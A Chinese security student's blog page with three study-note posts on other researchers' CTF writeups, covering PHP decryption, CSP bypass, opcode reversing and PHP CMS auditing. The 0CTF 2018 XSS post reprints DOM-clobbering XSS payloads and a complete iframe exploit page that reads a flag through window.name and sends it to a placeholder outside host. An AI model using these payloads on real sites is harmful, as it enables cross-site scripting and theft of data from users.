表哥们的blog瞻仰计划

表哥们的blog瞻…

2018年7月17日2018年7月17日
by harmoc

前言

被考研和期末压迫，感觉很久没有写过什么了。技术几乎负增长。只希望考研能有个好结果。
言归正传，今天忙里偷闲，来看看代码审计大佬phith0n的blog。关注这大佬好久了，最初貌似是看群里人说到上面话题时候说了P神。。当时还以为说pcat呢。。。
不过貌似很早很早就在用他的成果了，当初在github fork了一份Mind-Map，后来才知道这也是大佬做的。Github timeline还他娘的基本是绿的，真是比你强的人还比你努力。

正体

p牛研究得太靠前了。。。先从CTF这方面入手。。。
欸，永远还有好多要学。

1.phpjiami 数种解密方法

大佬在pwnhub出的题，无缘一见。

考点有二：其一，由 phpjiami.com 加密过的源码还原。其二，上传取后缀方式不同导致的文件上传漏洞。

关于第一条，我也尝试了一下，发现思路根本打不开，最多能想到分析opcode之类的也许会有用。

读了一下文章，给出了四种解法：代码分析、HOOK EVAL、手工dump、动态debug。

个人感觉，这几种方法技术难度依次递减，代码分析流程类似常规re，HOOK EVAL用将PHP底层函数zend_compile_string拦截eval，手工dump动态包含，动态调试就单步调试即可。

解法永远是多样的，解题唯一怕的就是思路僵化。其实折磨人的数学也是如此。希望思维能再灵活一点。话说，想不到往往其实就是思考的根基不牢。不求甚解是阻碍部分人进步的一大阻力。

2.Pwnhub 第一次线下沙龙竞赛Web题解析

收个trick：如果Wireshark没有明确说这是什么协议的时候，就直接看看目标端口，搜一下就知道默认是什么服务了。

几个点：ss的数据分析及加密；file_put_contents的trick；chrome auditor bypass；又双叒叕是CSP，不过是CSP机制的延伸考点。

得多读PHP手册。
CSP机制没想到有那么多可玩点。
搜集信息的途径还不够
wireshark分析思路不成系统。

3.待更...

后记

才看了两篇就又没有时间了。。。唉，考研实在是把时间填的很满。

Security notes

表哥们的Blog瞻…

2018年6月11日2018年7月17日
by harmoc

前言

第二个瞻仰计划就写LoRexxar师傅的好了。
相对梅子酒师傅，这个师傅我可能就更不认识了，但是在表哥文章的字里行间里感觉，这表哥应该是个很有趣的人，希望以后能与各路大神有所接触，交个朋友。

这师傅的Blog更加详实，从14到18，这位师傅应该是纪录了他成长的全过程，相信读过他的所有文章之后，我也能有不小的提高。嗯，这师傅据推测应该是今年大四，马上毕业的。膜404 Member 。。。。

唉，现在要全身心的考研，只能用空闲的午休时间稍微学一点东西。

文章

文章太多，只挑近一两年，感觉比较有深度写上来吧。

0x01. TCTF/0CTF2018 XSS bl0g Writeup

第一篇，是和梅子酒师傅写的一道题的Wp，看来这道CSP绕过题的确非常优秀。不亏是0ops、腾讯的联合赛。

难点还是在于利用。站的功能是比较常见的XSS功能：

1、new 新生成文章
2、article/xx 查看文章/评论
3、submit 提交url (start with http://202.120.7.197:8090/)
4、flag admin可以查看到正确的flag

隐藏的条件：

1.CSP

Content-Security-Policy:
script-src 'self' 'unsafe-inline'
Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

两个可独立生效，即 “与”

2.effect：

POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
title=a&content=a&effect=nest

<input type="hidden" id="effect" value="{effect_value}">
effect是用来设置特效的字段，会插入到页面中而没有经过过滤，即可以通过闭合这个标签并插入想要的标签，但最多插入70个字符。（出现了！XSS字符限制！）

3、login?next=这个点可以存在一个任意跳转，通过这个点，我们可以绕过submit的限制（submit的maxlength是前台限制，可以随便跳转

4、站内的特效是通过jqery的append引入的，在article.js中：

`$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});`

effects在config.js中被定义。

思路：

在不考虑0day的情况下，我们唯有通过想办法通过动态生成script标签，通过sd CSP这个点来绕过

trick：

在js中，对于特定的form,iframe,applet,embed,object,img标签，我们可以通过设置id或者name来使得通过id或name获取标签

script a="
<script nonce="testtt">...
浏览器有一定的容错能力，他会补足不完整的标签
=====>
<script a="<script" nonce="test">...
可惜此处并不适用，中间太多无用标签

attack：

利用隐藏条件4，覆盖effects变量，就可以向body注入标签了，利用trick1，通过effects获取到<form name=effects>这个标签。同理，我们就可以通过插入这个标签来注册effects这个变量。
插入的effects在接下来的config.js中被覆盖了。此处利用trick2，浏览器有一定的容错能力，我们可以通过插入<script>，那么这个标签会自动闭合后面config.js的</script>，那么中间的代码就会被视为js代码，被CSP拦截。
成功的覆盖了effects变量，紧接着我们需要覆盖effects[$("#effect").val()]，为了省位数，用的id属性。尝试传入：

effect=id"><form name=effects id="<script>alert(1)</script>"><script>
success.
构造获取flag：
最简payload：
id"><form name=effects id="<script>"><script>
一共有45位，然而可以操作的位数只有25位。
L师傅用的是蓝猫师傅的解法：
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
通过jquery get获取flag内容，通过箭头函数将返回赋值给window.name。紧接着，尝试获取window.name.
此处用到跨域操作，window.name不跟随域变化而变化.
完整payload：

<html>
</html>
<script>
var i=document.createElement("iframe");
i.src="http://202.120.7.197:8090/article/3503";
i.id="a";
var state = 0;
document.body.appendChild(i);
i.onload = function (){
    if(state === 1) {
        var c = i.contentWindow.name;
            location.href="http://xx?c="+c;
    } else if(state === 0) {
        state = 1;
        i.contentWindow.location = './index.html';
    }
}
</script>

然后通过login?next=这里来跳转到这里。

总结：

emmmm，我承认，L师傅写的这份wp我真不是非常明白。CSP的基础我并没有掌握，对于这个东西的绕过自然难以融会贯通。
这个就只能利用以后的午休慢慢补了。
2018.6.11

后续待更、、、

后记

时间。时间不够啊。太多东西要学。

对了，L师傅的Blog:lorexxar's blog

Security notes

表哥们的blog瞻…

2018年6月8日2018年7月17日
by harmoc

前言

开坑这个系列是想多学习一下表哥们的经验，感觉单单阅读的话，学习不够深入。故作文以记之。

第一个先写最近刚看到的梅子酒师傅的Blog好了，妹汁酒师傅的名声在Web狗的世界还是如雷贯耳的，好多思路感觉都是梅子酒师傅开发的。（话说，非常喜欢的小说里有梅子酒这个名字，我原来还以为梅子酒师傅也是书友来着。）

嗯。。。主要以我自己的思考为主吧。。。毕竟这才是我自己的东西。代码啥的尽量少贴。。。

文章

0x01.关于SUCTF中OPCODE逆向的一点思考

此文梅子酒师傅写了OPCODE的逆向问题。

在刚刚打过去的SUCTF，梅子酒师傅是Web出题人。

可惜我这比赛没怎么打，连师傅出的题都没做到。。。还记得第一道是PHP里creat_function()函数的漏洞。昨天看seebug的文章时候还看见了这个函数的解析。。。恨没有早些看到。
科普向解析create_function() && 复现wp

而且我没有关注过HITCON的题目，貌似这道题是根据HITCON2017改的：HITCON 2017 Baby^h-master-php-2017 分析及复现

看来南邮的团队就是在这个比赛上的分析比较多，我看郁离歌的blog也有大篇幅的HITCON赛题分析。看来HITCON的赛题也是得系统分析一波。

梅子酒师傅这文章说的题是HateIT，之前还看见梅子酒师傅发的空间，说题目难度降了。。。把带密钥的文件放到题目里了。23333

这题思路是Git Tag还原代码 + OPCODE逆向 + PHP so扩展解密 + CFB重放攻击 + 正则绕过

emmmm，长见识了。我都不知道Git还能通过Tag还原代码，PHP so扩展加密更是听都没听过。。。还有CTB重放云云。。。果然要做的还有很多。

OPCODE这东西，感觉确实是比较深入语言底层的东西，没太有过了解。类比推理到Python，应该也是有个类似的东西存在，说不定哪天就会有个精于Python安全的师傅出道这种题。。。不可补防。总感觉到处都有汇编的影子。。。QAQ

0x02.Use Wave File Bypass CSP

很早就听说过这个CSP策略，常见的站据说就Github和知乎在用。因为成本太高，虽然效果很好，却也只有知乎这种赞比较值钱，是核心玩法的用会比较值。

Content-Security-Policy: policy
这是CSP设置的头信息格式。见到注意下，emmm，多点了解总是好的。
在比赛中常见的绕过CSP一般是:

script-src ‘self’ ‘unsafe-inline’
script-src ‘self’ ‘unsafe-eval’
script-src ‘nonce-*‘

0ctf2018、Google CTF2016出过这种题。

梅子酒师傅这里写的是他Bypass Plaid CTF里一道CSP的经历，
是利用了上传点，可以通过引入正常的非js文件来达到引入js脚本的效果。这儿就是用的wave文件了。

XSS的绕过真的是一门艺术。

0x03.对PHP类CMS审计的一点总结

菜鸡最喜欢看的果然还是大佬们的总结帖。毕竟能直接学到优秀的思路。

前期准备:
- 用个好用的工具，MAMP pro配备各种php环境，mark了。
- 相关CMS的历史漏洞
- PHP语言特性
- 常见Web漏洞的PHP实现
- 随时记录

明确目标
前台后台。
若为学习，着重历史漏洞，最好复现。

流程
1. 首先判断是否用了框架
2. 观察入口文件：单/多；入口文件的全局函数。
3. 整理流程：代码逻辑与运行流程的对应；权限的变化
4. 整理函数：前台/后台； 对着攻击找漏洞
5. 整理类

后续待更、、、

后记

从梅子酒师傅的文章看，他在PHP安全上的造诣实在深厚，望尘莫及。感觉收获了好多顶级Web手的思路。而且强大如梅子酒师傅，还依旧为了提高而焦虑，嗯，感觉自己心态也能缓和一些了。

梅子酒师傅的Blog

https://otakekumi.github.io

标签： <span>表哥们的blog瞻仰计划</span>

表哥们的blog瞻…

前言

正体

1.phpjiami 数种解密方法

2.Pwnhub 第一次线下沙龙竞赛Web题解析

3.待更...

后记

表哥们的Blog瞻…

前言

文章

0x01. TCTF/0CTF2018 XSS bl0g Writeup

隐藏的条件：

思路：

trick：

attack：

总结：

后续待更、、、

后记

表哥们的blog瞻…

前言

文章

0x01.关于SUCTF中OPCODE逆向的一点思考

0x02.Use Wave File Bypass CSP

0x03.对PHP类CMS审计的一点总结

后续待更、、、

后记

梅子酒师傅的Blog